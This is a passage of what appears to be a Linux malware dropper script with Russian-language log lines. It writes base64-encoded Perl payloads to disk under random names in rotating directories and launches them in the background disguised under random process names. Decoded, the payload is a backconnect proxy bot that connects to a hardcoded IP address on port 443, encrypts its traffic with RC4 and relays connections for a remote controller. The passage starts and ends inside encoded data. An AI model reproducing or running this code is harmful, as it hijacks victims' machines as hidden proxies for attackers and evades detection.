PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #35 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #35 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 36 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg 